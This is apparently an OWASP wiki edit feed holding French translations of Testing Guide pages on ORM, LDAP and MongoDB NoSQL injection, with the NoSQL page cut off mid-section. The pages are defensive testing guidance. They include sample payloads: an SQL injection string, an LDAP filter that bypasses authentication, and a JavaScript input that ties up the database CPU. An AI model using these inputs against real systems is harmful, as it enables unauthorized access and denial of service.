		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187882"/>
				<updated>2015-01-12T13:42:47Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.8 Tester les injections XML (OTG-INPVAL-008)]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.7_Tester_les_injections_ORM_(OTG-INPVAL-007)&amp;diff=187841</id>
		<title>4.8.7 Tester les injections ORM (OTG-INPVAL-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.7_Tester_les_injections_ORM_(OTG-INPVAL-007)&amp;diff=187841"/>
				<updated>2015-01-12T12:26:11Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;!{{Template:OWASP Testing Guide v4}}  == Summary ==  L'injection ORM est une attaque utilisant une injection SQL contre un modèle d'accès aux données généré par un ORM....&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;!{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
L'injection ORM est une attaque utilisant une injection SQL contre un modèle d'accès aux données généré par un ORM. du point de vue du testeur, cette attaque est sensiblement identique à une attaque par injection SQL. Cependant, la vulnérabilité se situe dans le code généré par l'outil ORM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Un ORM est un outil de correspondance objet / modèle relationnel. Il est utilisé pour faciliter les développement orientés objets avec les accès aux données, pour tout type d'application, y compris web. Utiliser un ORM a de multiples avantages, dont la génération rapide d'une couche objet pour communiquer avec une base relationnelle, des modèles de code standardisés pour ces objets, et souvent un ensemble de fonctions sûres pour la protection contre les attaques par injection SQL. Les objets ORM peuvent utiliser SQL, ou dans certains cas une variante de SQL, pour procéder à des opérations CRUD (Création, Lecture, Modification, Suppression) sur une base de données. Il est cependant possible qu'une application web utilisant des objets générés par un ORM d'être vulnérable aux attaques par injection SQL, si les méthodes de ces objets acceptent des paramètres d'entrées non validés.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les outils ORM comprennent Hibernate pour Java, NHibernate pour .NET, ActiveRecord pour Ruby on Rails, EZPDO pour PHP, et bien d'autres. Pour une liste raisonnablement complète des outils ORM, voir http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software&lt;br /&gt;
&lt;br /&gt;
==Comment tester==&lt;br /&gt;
=== Test en boite noire ===&lt;br /&gt;
Les tests en boite noire pour les vulnérabilités d'injection ORM sont identiques aux tests d'injection SQL (voir [[Testing for SQL Injection   (OWASP-DV-005)|Tester les injections SQL]]). Dans la plupart des cas, la vulnréabilité dans la couche ORM résulte d'un code personnalisé qui ne valide pas correctement les paramètres d'entrée. La plupart des outils ORM fournissent des fonctions sûres pour échapper les entrées utilisateur. Cependant, si ces fonctions ne sont pas utilisées, et que le développeur utilise des fonctions personnalisées acceptant des entrées utilisateur, il peut être possible d'exécuter une attaque par injection SQL.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Test en boite grise === &lt;br /&gt;
Si un testeur a accès au code source d'une application web, ou peut découvrir des vulnérabilités d'un outil ORM et teste des applications web utilisant cet outil, il y a une plus grande probabilité de réussir une attaque sur l'application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les motifs à rechercher dans le code comprennent :&lt;br /&gt;
&lt;br /&gt;
* La concaténation de paramètres d'entrée avec des chaînes SQL. Ce code utilisant ActiveRecord pour Ruby on Rails est vulnérable (bien que tout ORM puisse être vulnérable)&lt;br /&gt;
&lt;br /&gt;
 Orders.find_all &amp;quot;customer_id = 123 AND order_date = '#{@params['order_date']}'&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Saisir simplement &amp;quot;' OR 1--&amp;quot;  dans le champs order_date du formulaire peut renvoyer des résultats positifs.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Outils==&lt;br /&gt;
* Hibernate http://www.hibernate.org&amp;lt;br&amp;gt;&lt;br /&gt;
* NHibernate http://nhforge.org/&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [[Testing for SQL Injection (OWASP-DV-005)#References|References from Testing for SQL Injection]] are applicable to ORM Injection &lt;br /&gt;
* Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relational_mapping&amp;lt;br&amp;gt;&lt;br /&gt;
* [[Interpreter Injection#ORM Injection|OWASP Interpreter Injection]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187840</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187840"/>
				<updated>2015-01-12T12:25:52Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.6_Tester_les_injections_LDAP_(OTG-INPVAL-006)&amp;diff=187814</id>
		<title>4.8.6 Tester les injections LDAP (OTG-INPVAL-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.6_Tester_les_injections_LDAP_(OTG-INPVAL-006)&amp;diff=187814"/>
				<updated>2015-01-10T23:02:54Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}  ==  Sommaire == LDAP (Lightweight Directory Access Protocol) est utilisé pour stocké des informations sur les utilisateurs, hôtes, et b...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
==  Sommaire ==&lt;br /&gt;
LDAP (Lightweight Directory Access Protocol) est utilisé pour stocké des informations sur les utilisateurs, hôtes, et bien d'autres objets. Une injection LDAP ([[LDAP injection]]) est une attaque côté serveur qui permet que des informations sensibles à propos des utilisateurs et des hôtes représentées dans une structure LDAP soient divulguées, modifiées ou ajoutées. Cela se fait en manipulant des paramètres d'entrée passés ensuite à des fonctions internes de recherche, ajout et modification.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une application web peut utiliser LDAP pour permettre à ses utilisateurs de s'authentifier ou de rechercher des informations sur d'autres utilisateurs, tout ceci à l'intérieur d'une entreprise. Le but des attaques par injection LDAP est d'injecter des metacaractères de filtres de recherches dans une requête qui sera exécutée par l'application.&lt;br /&gt;
&lt;br /&gt;
La [[http://www.ietf.org/rfc/rfc2254.txt Rfc2254]] définie une grammaire permettant de construire des filtres de recherches sur LDAPv3. Elle étend la [[http://www.ietf.org/rfc/rfc1960.txt Rfc1960]] (LDAPv2).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Un filtre de recherche LDAP est construit en notation polonaise, aussi connue sous le nom [[http://en.wikipedia.org/wiki/Polish_notation prefix notation]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cela signifie que le pseudo code d'une condition sur un filtre de recherche ressemblera à ceci :&lt;br /&gt;
&lt;br /&gt;
 find(&amp;quot;cn=John &amp;amp; userPassword=mypass&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
et sera représenté :&lt;br /&gt;
&lt;br /&gt;
 find(&amp;quot;(&amp;amp;(cn=John)(userPassword=mypass))&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les conditions booléennes et les agrégats de groupes sur un filtre de recherche LDAP peuvent être effectués en utilisant les méta-caractères :&lt;br /&gt;
{| border=1&lt;br /&gt;
|| '''Metacaractère''' || '''Signification'''&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;amp; || ET boolean &lt;br /&gt;
|-&lt;br /&gt;
||   | || OU boolean&lt;br /&gt;
|-&lt;br /&gt;
||  ! || NON boolean&lt;br /&gt;
|-&lt;br /&gt;
||   = || Egal&lt;br /&gt;
|-&lt;br /&gt;
||   ~= || Approximation&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;gt;= || Plus grand que&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;lt;= || Plus petit que&lt;br /&gt;
|-&lt;br /&gt;
||   *  || caractère quelconque&lt;br /&gt;
|-&lt;br /&gt;
||   () || parenthèses groupantes&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les RFC concernées contiennet des exemples plus complets de filtres de recherches&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une exploitation réussie d'une vulnérabilité d'injection LDAP va permettre au testeur de :&lt;br /&gt;
&lt;br /&gt;
* Accéder à du contenu non autorisé&lt;br /&gt;
* Contourner les restrictions de l'application&lt;br /&gt;
* Récolter des information non aotorisées&lt;br /&gt;
* Ajouter ou modifier des objets dans l'arborescence LDAP&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comment tester ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Exemple 1: Filtres de recherche ===&lt;br /&gt;
&lt;br /&gt;
Supposons une application web utilisant un filtre de recherche comme celui-ci :&lt;br /&gt;
&lt;br /&gt;
 searchfilter=&amp;quot;(cn=&amp;quot;+user+&amp;quot;)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
qui est instancié par une requête HTTP telle que :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/ldapsearch?user=John&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si la valeur 'John' est remplacée par '*', dans la requête :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/ldapsearch?user=*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
le filtre va ressembler à :&lt;br /&gt;
&lt;br /&gt;
 searchfilter=&amp;quot;(cn=*)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
qui va sélectionner tout les objet dont l'attribut 'cn' est égal à n'importe quelle valeur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Si l'application est vulnérable aux injections LDAP, les attributs de quelques utilisateurs, ou de tous, seront affichés, selon le flux d'exécution de l'application et les permissions de l'utilisateur LDAP connecté.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Un testeur pourra utiliser une approche pas à pas, en insérant dans les paramètres '(', '|', '&amp;amp;', '*' et d'autres caractères, afin de causer des erreurs dans l'application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Exemple 2: Authentification ===&lt;br /&gt;
&lt;br /&gt;
Si une application utilise LDAP dans son processus d'authentification des utilisateurs, et qu'elle est vulnérable aux injection LDAP, il est possible de contourner cette authentification en injectant une requête LDAP qui sera toujours vraie (de manière similaire aux injection SQL et XPATH).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Supossons qu'une application web utilise un filtre pour faire la correspondance utilisateur LDAP / mot de passe.&lt;br /&gt;
&lt;br /&gt;
searchlogin= &amp;quot;(&amp;amp;(uid=&amp;quot;+user+&amp;quot;)(userPassword={MD5}&amp;quot;+base64(pack(&amp;quot;H*&amp;quot;,md5(pass)))+&amp;quot;))&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En utilisant les valeurs suivantes :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;user=*)(uid=*))(|(uid=*&lt;br /&gt;
 pass=password&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
le filtre de recherche sera :&lt;br /&gt;
&lt;br /&gt;
 searchlogin=&amp;quot;(&amp;amp;(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
qui est correct et toujours vrai. De cette manière, le testeur va obtenir un statut authentifié, avec les droits du premier utilisateur de l'arborescence LDAP.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Outils==&lt;br /&gt;
Softerra LDAP Browser - http://www.ldapadministrator.com/&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
Sacha Faust: &amp;quot;LDAP Injection: Are Your Applications Vulnerable?&amp;quot; - http://www.networkdls.com/articles/ldapinjection.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
Bruce Greenblatt: &amp;quot;LDAP Overview&amp;quot; - http://www.directory-applications.com/ldap3_files/frame.htm&amp;lt;br&amp;gt;&lt;br /&gt;
IBM paper: &amp;quot;Understanding LDAP&amp;quot; - http://www.redbooks.ibm.com/redbooks/SG244986.html &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;RFC 1960&amp;lt;/nowiki&amp;gt;: &amp;quot;A String Representation of LDAP Search Filters&amp;quot; - http://www.ietf.org/rfc/rfc1960.txt&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187813</id>
		<title>User:Jcpraud</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187813"/>
				<updated>2015-01-10T23:02:37Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information Security Consultant&lt;br /&gt;
Formerly Privacy &amp;amp; Information Officer at F-Secure Bordeaux (content cloud business line)&lt;br /&gt;
CISSP&lt;br /&gt;
Master in Information Systems Risk Management&lt;br /&gt;
20+ years of experience in IT, web &amp;amp; application development, sysadmin, databases, including security aspects of all these domains.&lt;br /&gt;
Knowledge &amp;amp; skills: Java, Linux, OpenBSD, Agile methods (Scrum, Kanban), Architecture Security (STRIDE), ISO27K, Risk Management, Incident Management.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
(WIP) French translation of the Testing Guide:&lt;br /&gt;
&lt;br /&gt;
[[Testing Guide FR Translation - JCP Notes]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.7 Test de management de sessions]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.1_Tester_le_système_de_management_des_sessions_(OTG-SESS-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.2 Tester les attributs des cookies (OTG-SESS-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.3 Tester les fixations de session (OTG-SESS-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.4 Tester les variables de session exposées (OTG-SESS-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.5 Tester les Cross Site Request Forgeries (OTG-SESS-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.6 Tester les fonctionnalités de déconnexion (OTG-SESS-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.7 Tester l'expiration de session (OTG-SESS-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.7.8 Tester la confusion de session (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[4.8 Tester la validation des entrées]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.2 Test de Stored Cross-Site Scripting (OTG-INPVAL-002)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.3 Test d'HTTP Verb Tampering (OTG-INPVAL-003)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.4 Test d'HTTP Parameter pollution (OTG-INPVAL-004)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5 Test d'Injection SQL (OTG-INPVAL-005)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.1 Tester Oracle]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.5.6_Tester_les_injections_NoSQL&amp;diff=187812</id>
		<title>4.8.5.6 Tester les injections NoSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.5.6_Tester_les_injections_NoSQL&amp;diff=187812"/>
				<updated>2015-01-10T20:40:53Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}   == Sommaire == &amp;lt;br&amp;gt; Les bases de données NoSQL offrent des contraintes d'intégrité plus souples que les bases de données SQL traditio...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les bases de données NoSQL offrent des contraintes d'intégrité plus souples que les bases de données SQL traditionnelles. En nécessitant moins de contraintes relationnelles et de vérification d'intégrité, les bases NoSQL offrent souvent des bénéfices en matière de performances et de scalabilité. Cependant, ces bases sont quand-même vulnérables aux attaques par injection, même si elles n'utilisent pas la syntaxe SQL classique. Comme ces attaques par injections NoSQL peuvent s'exécuter dans un langage procédural [http://en.wikipedia.org/wiki/Procedural_programming] plutôt que dans un langage déclaratif SQL [http://en.wikipedia.org/wiki/Declarative_programming], les impacts potentiels sont plus grands.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les appels aux bases NoSQL sont écrits dans le langage de l'application, une API spécialisée, ou formattés selon une convention commune (telle que XML, JSON, LINQ, etc.). Des entrées malicieuses ciblant ces spécifications peuvent ne pas déclencher les vérifications au niveau applicatif. Par exemple, filtrer les caractères spéciaux HTML usuels tels que &amp;lt;code&amp;gt; &amp;lt; &amp;gt; &amp;amp; ; &amp;lt;/code&amp;gt; n'empêchera pas les attaques contre une API JSON, où les caractères spéciaux sont &amp;lt;code&amp;gt; / { } : &amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Plus de 150 bases de données NoSQL sont aujourd'hui disponibles [http://nosql-database.org/], fournissant des APIs dans divers langages et modèles de relations. Chacune fournie différentes fonctionnalités et restrictions. Comme il n'y a pas de langage commun à toutes, les exemples d'injection ne fonctionneront pas sur toutes les bases NoSQL. Pour cette raison, quiconque doit tester des attaques par injection NoSQL doit se familiariser avec la syntaxe, le modèle de données, et le langage de programmation sous-jacent, afin de concevoir des tests spécifiques.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les attaques par injection NoSQL peuvent être exécutées dans des parties différentes de l'application, comparées aux injections SQL traditionnelles. Les injections SQL s'exécutent dans le moteur de base de données, alors que les variantes NoSQL vont s'exécuter dans la couche applicative ou dans la couche de bases de données, selon l'API NoSQL utilisée et le modèle de données. Typiquement, les attaques par injection NoSQL vont sexécuter là où la chaîne d'attaque est analysée, évaluée ou concaténée en un appel d'API NoSQL.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le manque de vérification concurrentielle dans les bases NoSQL peut aussi permettre des attaques temporelles. Elles ne seront pas traitées ici. Actuellement, MongoDB est la base NoSQL la plus utilisée, donc nos exemples se concentreront sur son API.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Comment tester ==&lt;br /&gt;
'''Tester les vulnérabilité d'injection NoSQL dans MongoDB :''' &amp;lt;br&amp;gt;&lt;br /&gt;
L'API MongoDB attend des appels BSON (JSON binaire), et comporte un outil sécurisé d'assemblage de requête BSON. Cependant, d'après la documentation de MongoDB, du JSON non-sérialisé et des expressions JavaSctipt sont permis dans plusieurs paramètres de requête alternatifs [http://docs.mongodb.org/manual/faq/developers/#javascript]. L'opérateur $where est l'appel d'API le plus commun permettant une entrée Javascript arbitraire.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'opérateur $where de MongoDB est typiquement utilisé comme un simple filtre ou vérification, de la même manière qu'en SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: &amp;quot;this.credits == this.debits&amp;quot; } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
JavaScript peut aussi être évalué pour permettre des conditions plus avancées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt; db.myCollection.find( { $where: function() { return obj.credits - obj.debits &amp;lt; 0; } } ); &amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Exemple 1===&lt;br /&gt;
&lt;br /&gt;
Si un attaquant peut manipuler les données passées à l'opérateur $where, il pourra inclure du JavaScript arbitraire qui sera évalué dans la requête MongoDB. Un exemple de vulnérabilité est présenté dans le code suivant, sachant que l'entrée utilisateur est passée directement dans la requête MongoDB sans nettoyage.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;db.myCollection.find( { active: true, $where: function() { return obj.credits - obj.debits &amp;lt; $userInput; } } );;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme pour les autres tests d'injection, on n'a pas besoin d'exploiter complètement la vulnérabilité pour démontrer un problème. En injectant des caractères spéciaux adaptés au langage de l'API ciblée, et en observant les résultats, un testeur pourra déterminer si l'application valide correctement les entrées. Par exemple, dans MongoDB, si une chaîne contenant l'un des caractères spéciaux suivants est passée sans vérification, cela entraînera une erreur de la base de données.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;' &amp;quot; \ ; { }&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dnas le cas d'une injection SQL normale, une vulnérabilité similaire permettrait à un attaquant d'exécuter des commandes SQL arbitraires, accédant et manipulant les données à volonté. Cependant, comme JavaScript est un langage complet, il ne permet pas seulement de manipuler des données, mais aussi d'exécuter du code arbitraire. Par exemple, au lieu de causer seulement une erreur pendant les tests, un exploit complet serait d'utiliser des caractères spéciaux pour construire du JavaScript valide.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette entrée, &amp;lt;code&amp;gt;0;var date=new Date(); do{curDate = new Date();}while(curDate-date&amp;lt;10000)&amp;lt;/code&amp;gt;, insérée dans $userInput dans l'exemple précédent, résulterait en l'exécution de la fonction JavaScript suivante. Cette chaîne d'attaque spécifique forecerait le serveur MongoDB à utiliser 100 de son CPU pendant 10 secondes.&lt;br /&gt;
&lt;br /&gt;
